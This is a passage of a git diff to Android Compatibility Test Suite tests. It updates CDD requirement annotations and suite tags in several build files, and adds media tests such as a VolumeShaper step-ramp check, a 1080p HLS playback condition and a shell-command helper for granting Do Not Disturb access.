--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -16,6 +16,10 @@
package android.media.cts;
import android.media.BufferingParams;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities;
+import android.media.MediaCodecList;
import android.media.MediaFormat;
import android.media.MediaPlayer;
import android.media.MediaPlayer.TrackInfo;
@@ -29,7 +33,6 @@
import android.util.Log;
import android.webkit.cts.CtsTestServer;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
import com.android.compatibility.common.util.MediaUtils;
@@ -49,7 +52,6 @@
/**
* Tests of MediaPlayer streaming capabilities.
*/
-@CddTest(requirement="5.7/C-1-1,C-1-2")
public class StreamingMediaPlayerTest extends MediaPlayerTestBase {
private static final String TAG = "StreamingMediaPlayerTest";
@@ -239,11 +241,35 @@
return; // skip
}
- // Play stream for 60 seconds
- localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ for (MediaCodecInfo info : mcl.getCodecInfos()) {
+ if (info.isEncoder()
+ || info.getName().toLowerCase().startsWith("omx.google.")) {
+ continue;
+ }
+ try {
+ CodecCapabilities caps = info.getCapabilitiesForType(MediaFormat.MIMETYPE_VIDEO_AVC);
+ VideoCapabilities vcaps = caps.getVideoCapabilities();
+
+ // Play 1080p stream for 60 seconds if platform supports.
+ if (vcaps.areSizeAndRateSupported(1920 ,1080, 30)) {
+ localHlsTest("unmuxed_1500k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
+ }
+ } catch (IllegalArgumentException e) {
+ }
+ }
}
+ public void testHlsSampleAes_bbb_unmuxed_1000k() throws Exception {
+ if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_VIDEO_AVC)) {
+ return; // skip
+ }
+
+ // Play 480p stream for 60 seconds
+ localHlsTest("unmuxed_1000k/index.m3u8", 60 * 1000, -1, false /*isAudioOnly*/);
+ }
+
// Streaming audio from local HTTP server
public void testPlayMp3Stream1() throws Throwable {
localHttpAudioStreamTest("ringer.mp3", false, false);
diff --git a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
index 9f90a75..72ec8a9 100644
--- a/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
+++ b/tests/tests/media/src/android/media/cts/StubMediaBrowserService.java
@@ -62,6 +62,14 @@
}
@Override
+ public void onDestroy() {
+ super.onDestroy();
+ sSession.release();
+ sInstance = null;
+ sSession = null;
+ }
+
+ @Override
public BrowserRoot onGetRoot(String clientPackageName, int clientUid, Bundle rootHints) {
mExtras = new Bundle();
mExtras.putString(EXTRAS_KEY, EXTRAS_VALUE);
diff --git a/tests/tests/media/src/android/media/cts/Utils.java b/tests/tests/media/src/android/media/cts/Utils.java
index 33cc1b7..211aa4e 100644
--- a/tests/tests/media/src/android/media/cts/Utils.java
+++ b/tests/tests/media/src/android/media/cts/Utils.java
@@ -17,6 +17,7 @@
package android.media.cts;
import android.app.Instrumentation;
+import android.app.NotificationManager;
import android.app.UiAutomation;
import android.content.ContentResolver;
import android.content.Context;
@@ -88,57 +89,10 @@
protected static void toggleNotificationPolicyAccess(String packageName,
Instrumentation instrumentation, boolean on) throws IOException {
- // Read the setting listing the package allowed to manage notification policy configuration
- String alreadyEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
-
- // The property is a list of : separated package
- List<String> enabledServices = Lists.newArrayList(alreadyEnabledServices.split(":"));
-
- // Actually add or remove the package from the list
- if (on) {
- // Only add the package if it is not already in the list
- if (!enabledServices.contains(packageName)) {
- enabledServices.add(packageName);
- setNotificationPolicyAccessPackages(enabledServices, instrumentation);
- }
- } else {
- // Remove all instance of the package in the list
- if (enabledServices.removeIf(packageName::equals)) {
- // Only update the settings if there was a change
- setNotificationPolicyAccessPackages(enabledServices, instrumentation);
- }
- }
- }
-
- /** Read the setting listing the package allowed to manage notification policy configuration */
- private static String querryNotificationPolicyAccessPakages(Instrumentation instrumentation) {
- ContentResolver cr = instrumentation.getContext().getContentResolver();
- String enabledService = Settings.Secure.getString(
- cr,Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
-
- // A non existing property is equivalent to no package listed
- if (enabledService == null) {
- enabledService = "";
- }
- return enabledService;
- }
-
- private static void setNotificationPolicyAccessPackages(final List<String> enabledServicesList,
- final Instrumentation instrumentation) throws IOException {
- // Format the list back to a string
- String enabledServices = String.join(":", enabledServicesList);
-
- // If the list is empty, remove the property by setting it to null
- String enabledServicesStrOrNull = enabledServices.isEmpty() ? "null" : enabledServices;
-
- // Write back the property to the settings database
- String command = "settings --user cur put secure "
- + Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES + " "
- + enabledServicesStrOrNull;
+ String command = " cmd notification " + (on ? "allow_dnd " : "disallow_dnd ") + packageName;
// Get permission to enable accessibility
UiAutomation uiAutomation = instrumentation.getUiAutomation();
-
// Execute command
try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
Assert.assertNotNull("Failed to execute shell command: " + command, fd);
@@ -153,11 +107,10 @@
uiAutomation.destroy();
}
- // Read the settings again to make sure it is updated
- String nowEnabledServices = querryNotificationPolicyAccessPakages(instrumentation);
- Assert.assertEquals("Wrote setting should be the same as the read one",
- enabledServices, nowEnabledServices);
-
+ NotificationManager nm = (NotificationManager) instrumentation.getContext()
+ .getSystemService(Context.NOTIFICATION_SERVICE);
+ Assert.assertEquals("Wrote setting should be the same as the read one", on,
+ nm.isNotificationPolicyAccessGranted());
}
/**
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index fcc262d..8dbdefb 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -40,7 +40,6 @@
import android.view.Surface;
import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.CddTest;
import java.io.File;
import java.io.IOException;
@@ -1574,64 +1573,52 @@
public void testOtherVP9Flex1080p() { specific(otherVP9(), 1920, 1080, true /* flex */); }
public void testOtherVP9Surf1080p() { specific(otherVP9(), 1920, 1080, false /* flex */); }
- @CddTest(requirement="5.1.7/C-3-1")
public void testGoogH265Flex360pWithIntraRefresh() {
intraRefresh(googH265(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testGoogH264Flex360pWithIntraRefresh() {
intraRefresh(googH264(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testGoogH263Flex360pWithIntraRefresh() {
intraRefresh(googH263(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testGoogMpeg4Flex360pWithIntraRefresh() {
intraRefresh(googMpeg4(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testGoogVP8Flex360pWithIntraRefresh() {
intraRefresh(googVP8(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testOtherH265Flex360pWithIntraRefresh() {
intraRefresh(otherH265(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testOtherH264Flex360pWithIntraRefresh() {
intraRefresh(otherH264(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testOtherH263FlexQCIFWithIntraRefresh() {
intraRefresh(otherH263(), 176, 120);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testOtherMpeg4Flex360pWithIntraRefresh() {
intraRefresh(otherMpeg4(), 480, 360);
}
- @CddTest(requirement="5.1.7/C-3-1")
public void testOtherVP8Flex360pWithIntraRefresh() {
intraRefresh(otherVP8(), 480, 360);
}
// Tests encoder profiles required by CDD.
// H264
- @CddTest(requirement="5.2.2/C-1-2")
public void testH264LowQualitySDSupport() {
support(h264(), 320, 240, 20, 384 * 1000);
}
- @CddTest(requirement="5.2.2/C-2-1")
public void testH264HighQualitySDSupport() {
support(h264(), 720, 480, 30, 2 * 1000000);
}
@@ -1648,7 +1635,6 @@
detailed(h264(), 720, 480, 30, 2 * 1000000, true /* flex */);
}
- @CddTest(requirement="5.2.2/C-2-1")
public void testH264Surf480p30fps2Mbps() {
detailed(h264(), 720, 480, 30, 2 * 1000000, false /* flex */);
}
@@ -1657,7 +1643,6 @@
detailed(h264(), 1280, 720, 30, 4 * 1000000, true /* flex */);
}
- @CddTest(requirement="5.2.2/C-2-1")
public void testH264Surf720p30fps4Mbps() {
detailed(h264(), 1280, 720, 30, 4 * 1000000, false /* flex */);
}
@@ -1666,17 +1651,15 @@
detailed(h264(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
}
- @CddTest(requirement="5.2.2/C-2-1")
public void testH264Surf1080p30fps10Mbps() {
detailed(h264(), 1920, 1080, 30, 10 * 1000000, false /* flex */);
}
// VP8
- @CddTest(requirement="5.2.3/C-2-1")
public void testVP8LowQualitySDSupport() {
support(vp8(), 320, 180, 30, 800 * 1000);
}
- @CddTest(requirement="5.2.3/C-2-1")
+
public void testVP8HighQualitySDSupport() {
support(vp8(), 640, 360, 30, 2 * 1000000);
}
@@ -1697,7 +1680,6 @@
detailed(vp8(), 640, 360, 30, 2 * 1000000, false /* flex */);
}
- @CddTest(requirement="5.2.3/C-2-1")
public void testVP8Flex720p30fps4Mbps() {
detailed(vp8(), 1280, 720, 30, 4 * 1000000, true /* flex */);
}
@@ -1706,7 +1688,6 @@
detailed(vp8(), 1280, 720, 30, 4 * 1000000, false /* flex */);
}
- @CddTest(requirement="5.2.3/C-2-1")
public void testVP8Flex1080p30fps10Mbps() {
detailed(vp8(), 1920, 1080, 30, 10 * 1000000, true /* flex */);
}
diff --git a/tests/tests/media/src/android/media/cts/VisualizerTest.java b/tests/tests/media/src/android/media/cts/VisualizerTest.java
index 7404bff..141e339 100644
--- a/tests/tests/media/src/android/media/cts/VisualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VisualizerTest.java
@@ -30,9 +30,6 @@
import java.util.UUID;
import android.util.Log;
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="5.5.2/C-1-2")
public class VisualizerTest extends PostProcTestBase {
private String TAG = "VisualizerTest";
diff --git a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
index 8c8c114..30f07e2 100644
--- a/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
+++ b/tests/tests/media/src/android/media/cts/VolumeShaperTest.java
@@ -115,6 +115,15 @@
.setDuration(RAMP_TIME_MS)
.build();
+ // a step ramp is not continuous, so we have a different test for it.
+ private static final VolumeShaper.Configuration STEP_RAMP =
+ new VolumeShaper.Configuration.Builder()
+ .setInterpolatorType(VolumeShaper.Configuration.INTERPOLATOR_TYPE_STEP)
+ .setCurve(new float[] { 0.f, 1.f } /* times */,
+ new float[] { 0.f, 1.f } /* volumes */)
+ .setDuration(RAMP_TIME_MS)
+ .build();
+
private static final VolumeShaper.Configuration[] ALL_STANDARD_RAMPS = {
LINEAR_RAMP,
CUBIC_RAMP,
@@ -877,6 +886,132 @@
} // testPlayerCubicMonotonic
@LargeTest
+ public void testPlayerStepRamp() throws Exception {
+ final String TEST_NAME = "testPlayerStepRamp";
+ if (!hasAudioOutput()) {
+ Log.w(TAG, "AUDIO_OUTPUT feature not found. This system might not have a valid "
+ + "audio output HAL");
+ return;
+ }
+
+ // We test that the step ramp persists on value until the next control point.
+ // The STEP_RAMP has only 2 control points (at time 0.f and at 1.f).
+ // It should suddenly jump to full volume at 1.f (full duration).
+ // Note: invertVolumes() and reflectTimes() are not symmetric for STEP interpolation;
+ // however, VolumeShaper.Operation.REVERSE will behave symmetrically.
+ for (int p = 0; p < PLAYER_TYPES; ++p) {
+ try ( Player player = createPlayer(p);
+ VolumeShaper volumeShaper = player.createVolumeShaper(SILENCE);
+ ) {
+ final String testName = TEST_NAME + " " + player.name();
+ volumeShaper.apply(VolumeShaper.Operation.PLAY);
+ player.start();
+ Thread.sleep(WARMUP_TIME_MS);
+
+ final VolumeShaper.Configuration configuration = STEP_RAMP;
+ Log.d(TAG, testName + " starting test (sudden jump to full after "
+ + RAMP_TIME_MS + " milliseconds)");
+
+ volumeShaper.replace(configuration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ float lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Log.d(TAG, "invert (sudden jump to silence after "
+ + RAMP_TIME_MS + " milliseconds)");
+ // invert
+ VolumeShaper.Configuration newConfiguration =
+ new VolumeShaper.Configuration.Builder(configuration)
+ .invertVolumes()
+ .build();
+ volumeShaper.replace(newConfiguration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ // invert + reflect
+ Log.d(TAG, "invert and reflect (sudden jump to full after "
+ + RAMP_TIME_MS + " milliseconds)");
+ newConfiguration =
+ new VolumeShaper.Configuration.Builder(configuration)
+ .invertVolumes()
+ .reflectTimes()
+ .build();
+ volumeShaper.replace(newConfiguration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ // reflect
+ Log.d(TAG, "reflect (sudden jump to silence after "
+ + RAMP_TIME_MS + " milliseconds)");
+ newConfiguration =
+ new VolumeShaper.Configuration.Builder(configuration)
+ .reflectTimes()
+ .build();
+ volumeShaper.replace(newConfiguration,
+ VolumeShaper.Operation.PLAY, true /* join */);
+
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 0.f, but is " + lastVolume,
+ 0.f, lastVolume, VOLUME_TOLERANCE);
+
+ Log.d(TAG, "reverse (immediate jump to full)");
+ volumeShaper.apply(VolumeShaper.Operation.REVERSE);
+ Thread.sleep(RAMP_TIME_MS / 2);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " middle value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+
+ Thread.sleep(RAMP_TIME_MS / 2 + 1000);
+ lastVolume = volumeShaper.getVolume();
+ assertEquals(testName
+ + " final value should be 1.f, but is " + lastVolume,
+ 1.f, lastVolume, VOLUME_TOLERANCE);
+ }
+ }
+ } // testPlayerStepRamp
+
+ @LargeTest
public void testPlayerTwoShapers() throws Exception {
final String TEST_NAME = "testPlayerTwoShapers";
if (!hasAudioOutput()) {
diff --git a/tests/tests/mediastress/Android.mk b/tests/tests/mediastress/Android.mk
index 34bc778..0213c00 100644
--- a/tests/tests/mediastress/Android.mk
+++ b/tests/tests/mediastress/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/tests/mediastress/AndroidTest.xml b/tests/tests/mediastress/AndroidTest.xml
index aedab9a..6cc1dd4 100644
--- a/tests/tests/mediastress/AndroidTest.xml
+++ b/tests/tests/mediastress/AndroidTest.xml
@@ -28,6 +28,7 @@
<option name="package" value="android.mediastress.cts" />
<!-- test-timeout unit is ms, value = 30 min -->
<option name="test-timeout" value="1800000" />
+ <option name="ajur-max-shard" value="2" />
<option name="runtime-hint" value="3h" />
</test>
</configuration>
diff --git a/tests/tests/mediastress/jni/Android.mk b/tests/tests/mediastress/jni/Android.mk
index 164e302..6756bc3 100644
--- a/tests/tests/mediastress/jni/Android.mk
+++ b/tests/tests/mediastress/jni/Android.mk
@@ -29,4 +29,6 @@
LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog libOpenMAXAL
LOCAL_CXX_STL := libc++_static
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/midi/Android.mk b/tests/tests/midi/Android.mk
index eeda8c8..cefe3cc 100755
--- a/tests/tests/midi/Android.mk
+++ b/tests/tests/midi/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
diff --git a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
index a1a2156..27711ad 100644
--- a/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
+++ b/tests/tests/midi/src/android/midi/cts/MidiEchoTest.java
@@ -31,6 +31,8 @@
import android.os.Bundle;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.IOException;
import java.util.ArrayList;
import java.util.Random;
@@ -326,6 +328,7 @@
tearDownEchoServer(mc);
}
+ @CddTest(requirement="5.9/C-1-2")
public void testEchoSmallMessage() throws Exception {
PackageManager pm = mContext.getPackageManager();
if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
@@ -411,6 +414,7 @@
tearDownEchoServer(mc);
}
+ @CddTest(requirement="5.9/C-1-2")
public void testEchoMultipleMessages() throws Exception {
PackageManager pm = mContext.getPackageManager();
if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
@@ -485,6 +489,7 @@
}
// What happens if the app does bad things.
+ @CddTest(requirement="5.9/C-1-2")
public void testEchoBadBehavior() throws Exception {
PackageManager pm = mContext.getPackageManager();
if (!pm.hasSystemFeature(PackageManager.FEATURE_MIDI)) {
diff --git a/tests/tests/multiuser/Android.mk b/tests/tests/multiuser/Android.mk
index 67db1f5..992b5fe 100644
--- a/tests/tests/multiuser/Android.mk
+++ b/tests/tests/multiuser/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/nativehardware/Android.mk b/tests/tests/nativehardware/Android.mk
index a001387..38688be 100644
--- a/tests/tests/nativehardware/Android.mk
+++ b/tests/tests/nativehardware/Android.mk
@@ -71,7 +71,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
diff --git a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
index 94b25fb..aa6275f 100644
--- a/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
+++ b/tests/tests/nativehardware/src/android/hardware/cts/AHardwareBufferNativeTest.java
@@ -19,11 +19,14 @@
import android.content.pm.PackageManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Check AHardwareBuffer functionality.
*
* This is the place to implement AHardwareBuffer NDK CTS tests.
*/
+@CddTest(requirement="7.9.2/C-1-10")
public class AHardwareBufferNativeTest extends AndroidTestCase {
protected native long nativeSetUp();
protected native void nativeTearDown(long instance);
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index d69f66e..2f64131 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -41,7 +41,7 @@
LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CFLAGS := -Werror -Wall
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 4c09ca4..7030d0c 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -23,6 +23,8 @@
<test class="com.android.tradefed.testtype.GTest" >
<option name="native-test-device-path" value="/data/local/tmp" />
<option name="module-name" value="CtsNativeMediaAAudioTestCases" />
- <option name="runtime-hint" value="1m" />
+ <option name="runtime-hint" value="2m" />
+ <!-- test-timeout unit is ms, value = 2 min -->
+ <option name="native-test-timeout" value="120000" />
</test>
</configuration>
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp b/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
index 6e6dc2f..fd67644 100644
--- a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
+++ b/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
@@ -76,10 +76,6 @@
// AAUDIO_POLICY_ALWAYS is only for testing during development.
// It forces MMAP mode for all streams, which will fail for some stream settings.
EXPECT_NE(AAUDIO_POLICY_ALWAYS, policy);
-
- // TODO This part should be removed in OC-MR1 or later.
- // MMAP should not be enabled before OC-MR1
- EXPECT_NE(AAUDIO_POLICY_AUTO, policy);
}
// Link to test functions in shared library.
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index 2c50cd7..7d0edeb 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -42,7 +42,7 @@
LOCAL_CTS_TEST_PACKAGE := android.nativemedia.sl
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CFLAGS := -Werror -Wall
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index 8ea1062..c11c10e 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -41,6 +41,6 @@
LOCAL_CTS_TEST_PACKAGE := android.nativemedia.xa
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/ndef/Android.mk b/tests/tests/ndef/Android.mk
index bd60a1a..1ba0603 100644
--- a/tests/tests/ndef/Android.mk
+++ b/tests/tests/ndef/Android.mk
@@ -24,13 +24,13 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
index b0a838c..7b8cadb 100644
--- a/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
+++ b/tests/tests/ndef/src/android/ndef/cts/NdefTest.java
@@ -24,6 +24,8 @@
import android.nfc.NdefRecord;
import android.nfc.FormatException;
+import com.android.compatibility.common.util.CddTest;
+
import junit.framework.TestCase;
/**
@@ -32,6 +34,7 @@
* hardware is required, so these API's are mandatory even on Android
* devices without NFC hardware.
*/
+@CddTest(requirement="7.4.4/C-0-1")
public class NdefTest extends TestCase {
static final Charset ASCII = Charset.forName("US-ASCII");
static final Charset UTF8 = Charset.forName("UTF-8");
@@ -86,6 +89,7 @@
new byte[] {1,2,3}, new byte[] {4,5,6}, new byte[] {7,8,9})).hashCode());
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testInvalidParsing() throws FormatException {
final byte[][] invalidNdefMessages = {
{}, // too short
@@ -115,6 +119,7 @@
}
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testValidParsing() throws FormatException {
// short record
assertEquals(new NdefMessage(new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null)),
@@ -307,6 +312,7 @@
(byte) 0x6f, (byte) 0x6d}));
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testCreateUri() {
assertEquals(new byte[] {
(byte)0xD1, 1, 8, 'U', (byte)0x01, 'n', 'f', 'c', '.', 'c', 'o', 'm'},
@@ -327,6 +333,7 @@
new NdefMessage(NdefRecord.createUri("\u00A2")).toByteArray());
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testCreateMime() {
assertEquals(
new NdefRecord(NdefRecord.TNF_MIME_MEDIA, "text/plain".getBytes(ASCII), null,
@@ -385,6 +392,7 @@
NdefRecord.createExternal("A.b", "C!", null));
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testCreateApplicationRecord() throws FormatException {
NdefMessage m;
NdefRecord r;
@@ -431,6 +439,7 @@
assertEquals("com.foo.bar".getBytes(), r.getPayload());
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testToByteArray() throws FormatException {
NdefRecord r;
@@ -480,6 +489,7 @@
1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,})).toByteArray());
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testToUri() {
// absolute uri
assertEquals(Uri.parse("http://www.android.com"),
@@ -516,6 +526,7 @@
assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toUri());
}
+ @CddTest(requirement="7.4.4/C-0-1")
public void testToMimeType() {
assertEquals(null, NdefRecord.createUri("http://www.android.com").toMimeType());
assertEquals(null, new NdefRecord(NdefRecord.TNF_EMPTY, null, null, null).toMimeType());
diff --git a/tests/tests/net/Android.mk b/tests/tests/net/Android.mk
index 98cde9b..4aeab38 100644
--- a/tests/tests/net/Android.mk
+++ b/tests/tests/net/Android.mk
@@ -47,7 +47,7 @@
#LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/appForApi23/Android.mk b/tests/tests/net/appForApi23/Android.mk
index f0d3535..54b60a0 100644
--- a/tests/tests/net/appForApi23/Android.mk
+++ b/tests/tests/net/appForApi23/Android.mk
@@ -31,7 +31,7 @@
LOCAL_SDK_VERSION := 23
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/net/jni/Android.mk b/tests/tests/net/jni/Android.mk
index 0ec8d28..887e95e 100644
--- a/tests/tests/net/jni/Android.mk
+++ b/tests/tests/net/jni/Android.mk
@@ -27,6 +27,9 @@
LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
LOCAL_CXX_STL := libc++_static
+
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
include $(CLEAR_VARS)
diff --git a/tests/tests/net/native/Android.mk b/tests/tests/net/native/Android.mk
index 8338432..b798d87 100644
--- a/tests/tests/net/native/Android.mk
+++ b/tests/tests/net/native/Android.mk
@@ -1,2 +1,15 @@
-include $(call all-subdir-makefiles)
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
